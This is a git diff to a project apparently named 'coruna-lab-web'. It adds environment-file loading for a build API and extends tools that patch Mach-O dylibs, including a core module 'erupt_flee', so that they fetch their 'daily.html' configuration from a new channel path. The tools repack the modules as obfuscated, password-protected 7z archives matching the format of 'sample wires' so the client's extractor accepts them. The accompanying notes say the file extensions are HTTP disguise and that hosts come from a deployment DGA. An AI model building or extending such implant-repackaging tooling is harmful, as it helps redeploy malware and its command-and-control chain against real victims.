diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..44b8a16 --- /dev/null +++ b/.env.example @@ -0,0 +1,7 @@ +BUILD_API_TOKEN=replace-with-a-long-random-token +BUILD_API_ARTIFACT_ROOT=/www/wwwroot/coruna-lab-web/artifacts +BUILD_API_PROJECT_SCRIPT=/www/wwwroot/coruna-lab-web/frontend/tools/new_project.py +BUILD_API_PYTHON=/www/wwwroot/coruna-lab-web/.venv/bin/python +BUILD_API_HOST=127.0.0.1 +BUILD_API_PORT=8081 +BUILD_API_TIMEOUT=900 diff --git a/build_api/__main__.py b/build_api/__main__.py index d4ae8e3..7ce1b19 100644 --- a/build_api/__main__.py +++ b/build_api/__main__.py @@ -3,13 +3,58 @@ from __future__ import annotations import os +from pathlib import Path import uvicorn from .app import create_application +REPO_ROOT = Path(__file__).resolve().parent.parent + + +def _load_env_file(path: Path) -> None: + """Load KEY=VALUE lines into os.environ. + + Existing non-empty process env wins. Empty/missing keys are filled from the + file so panel "load from file" stubs cannot block a real project .env. + """ + if not path.is_file(): + return + for raw in path.read_text(encoding="utf-8").splitlines(): + line = raw.strip() + if not line or line.startswith("#"): + continue + if line.startswith("export "): + line = line[7:].strip() + if "=" not in line: + continue + key, _, value = line.partition("=") + key = key.strip() + if not key: + continue + value = value.strip() + if len(value) >= 2 and value[0] == value[-1] and value[0] in {'"', "'"}: + value = value[1:-1] + current = os.environ.get(key) + if current is not None and current.strip(): + continue + os.environ[key] = value + def main() -> None: + # Always read project .env; also honor an explicit path from the panel. + _load_env_file(REPO_ROOT / ".env") + env_file = os.environ.get("BUILD_API_ENV_FILE", "").strip() + if env_file: + _load_env_file(Path(env_file)) + + token = os.environ.get("BUILD_API_TOKEN", "").strip() + if not token: + raise SystemExit( + "BUILD_API_TOKEN is missing or empty. " + f"Put it in {REPO_ROOT / '.env'} (KEY=value, no spaces around =)." + ) + host = os.environ.get("BUILD_API_HOST", "127.0.0.1") port = int(os.environ.get("BUILD_API_PORT", "8081")) application = create_application() diff --git a/docs/BUILD_API.md b/docs/BUILD_API.md index 7c3a900..be67a3f 100644 --- a/docs/BUILD_API.md +++ b/docs/BUILD_API.md @@ -37,15 +37,18 @@ The service reads: - `BUILD_API_HOST` / `BUILD_API_PORT`: defaults to `127.0.0.1:8081`. - `BUILD_API_TIMEOUT`: synchronous build timeout in seconds, default `900`. -Install API dependencies, then run from the repository root: +Install API dependencies, then run from the repository root. On panel hosts +(宝塔), put variables in a project-root `.env` (see `.env.example`); +`python -m build_api` loads it automatically when the process environment does +not already define them. Optional: `BUILD_API_ENV_FILE=/path/to/file`. ```bash python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt -export BUILD_API_TOKEN="$(python3 -c 'import secrets; print(secrets.token_urlsafe(48))')" -export BUILD_API_ARTIFACT_ROOT=/srv/coruna-artifacts +cp .env.example .env +# edit .env — at least set BUILD_API_TOKEN python3 -m build_api ``` diff --git a/frontend/doc/SYNC.md b/frontend/doc/SYNC.md index 7bf7384..d8654cb 100644 --- a/frontend/doc/SYNC.md +++ b/frontend/doc/SYNC.md @@ -8,8 +8,8 @@ 扩展名 `.js/.css/.html/.ts` 只是 HTTP 伪装;`daily.html` 与各模块响应均为 **Coruna 混淆头 + 密码 7z**,解包后为 Mach-O dylib(或配置 JSON)。 -拉取顺序:type-0x01 经 Deployment DGA 选中主机 → -`GET /channel//sync/daily.html` → 按配置再拉 +拉取顺序:type-0x01 与 core(erupt_flee)均已将初始/配置路径改到 +`/channel//sync/daily.html` → 按配置再拉 `/channel//sync/`(本机按需,不一定 26 个全下)。 --- diff --git a/frontend/tests/test_path_patch.py b/frontend/tests/test_path_patch.py index 9b9bdf6..00f8f87 100644 --- a/frontend/tests/test_path_patch.py +++ b/frontend/tests/test_path_patch.py @@ -13,6 +13,7 @@ TOOLS_ROOT = FRONTEND_ROOT / "tools" sys.path.insert(0, str(TOOLS_ROOT)) from _common import ( # noqa: E402 + CORE_DYLIB, GROUP_DYLIBS, ORIGINAL_DEPLOYMENT_SEED, ORIGINAL_REPORTING_SEED, @@ -101,6 +102,31 @@ class InitialDailyPathPatchTests(unittest.TestCase): with self.assertRaisesRegex(SystemExit, "unsupported Mach-O UUID"): patch_initial_daily_path(bytes(source), TEST_CHANNEL) + def test_fat_core_retargets_both_slices(self) -> None: + source = CORE_DYLIB.read_bytes() + self.assertEqual(source[:4], bytes.fromhex("cafebabe")) + patched, metadata = patch_initial_daily_path( + source, TEST_CHANNEL, label=CORE_DYLIB.name + ) + self.assertEqual(metadata["container"], "fat") + expected = PATH_TEMPLATE.format(channel=TEST_CHANNEL).encode() + b"\x00" + self.assertEqual(metadata["path"], expected[:-1].decode()) + slices = metadata["slices"] + self.assertEqual(len(slices), 2) + self.assertEqual( + {item["architecture"] for item in slices}, + {"arm64", "arm64e"}, + ) + for item in slices: + slice_off = int(item["fat_slice_offset"]) + cave = slice_off + int(item["path_file_offset"]) + cfstring = slice_off + int(item["cfstring_file_offset"]) + self.assertEqual(patched[cave : cave + len(expected)], expected) + self.assertEqual( + struct.unpack_from(" None: with tempfile.TemporaryDirectory() as temp: command = [ diff --git a/frontend/tools/_path_patch.py b/frontend/tools/_path_patch.py index f26cf47..fb9492d 100644 --- a/frontend/tools/_path_patch.py +++ b/frontend/tools/_path_patch.py @@ -13,7 +13,6 @@ from __future__ import annotations import struct from dataclasses import dataclass, field -from typing import Any from _channel_patch import validate_channel_id diff --git a/frontend/tools/patch_core.py b/frontend/tools/patch_core.py index da02eb2..30c6074 100644 --- a/frontend/tools/patch_core.py +++ b/frontend/tools/patch_core.py @@ -7,6 +7,7 @@ import argparse import json import shutil import struct +import subprocess import tempfile from pathlib import Path @@ -58,10 +59,27 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes: return bytes(out) +# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19. +# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1). +_7Z_PACK_FILTER = "LZMA2:a=0:d=8k" +_7Z_CACHE_TAG = b"lzma2:13\0" + + +def _find_7z() -> str: + for name in ("7z", "7za"): + path = shutil.which(name) + if path: + return path + raise SystemExit( + "7z required to pack Coruna archives (LZMA2:13). Install p7zip." + ) + + def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes: - """Build passworded 7z; cache by content so py7zr's random salt does not drift runs.""" + """Build passworded 7z with sample-compatible LZMA2:13; cache by content.""" cache_key = sha256_hex( - member_name.encode("utf-8") + _7Z_CACHE_TAG + + member_name.encode("utf-8") + b"\0" + password.encode("utf-8") + b"\0" @@ -72,13 +90,33 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes if cache_path.is_file(): return cache_path.read_bytes() + seven = _find_7z() with tempfile.TemporaryDirectory() as tmp: root = Path(tmp) - member = root / member_name + # Keep archive member name flat (basename only) like original wires. + arc_name = Path(member_name).name + member = root / arc_name member.write_bytes(payload) archive = root / "out.7z" - with py7zr.SevenZipFile(archive, mode="w", password=password) as handle: - handle.write(member, arcname=member_name) + cmd = [ + seven, + "a", + "-t7z", + f"-m0={_7Z_PACK_FILTER}", + "-mhe=on", + f"-p{password}", + "-y", + "-bso0", + "-bsp0", + str(archive), + str(member), + ] + proc = subprocess.run(cmd, capture_output=True, text=True) + if proc.returncode != 0 or not archive.is_file(): + detail = (proc.stderr or proc.stdout or "").strip() + raise RuntimeError( + f"7z pack failed (code {proc.returncode}): {detail or 'no output'}" + ) data = archive.read_bytes() try: @@ -247,6 +285,7 @@ def main() -> int: hashes: dict[str, tuple[str, int]] = {} rebuilt_wires: list[str] = [] + core_path_patch_meta: dict | None = None for mod in modules: wire = mod["wire"] @@ -286,6 +325,16 @@ def main() -> int: expect_hits=expect, label=label, ) + if wire == "erupt_flee.js": + data, core_path_patch_meta = patch_initial_daily_path( + data, + channel, + label=label, + ) + print( + f"path-patched {wire}: {core_path_patch_meta.get('path')} " + f"(container={core_path_patch_meta.get('container', 'thin')})" + ) digest = sha256_hex(data) size = len(data) hashes[wire] = (digest, size) @@ -336,6 +385,7 @@ def main() -> int: "reporting_domains": rep_domains, "daily_path": f"/channel/{channel}/sync/daily.html", "sync_path_prefix": f"/channel/{channel}/sync/", + "initial_daily_path_patch": core_path_patch_meta, } (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")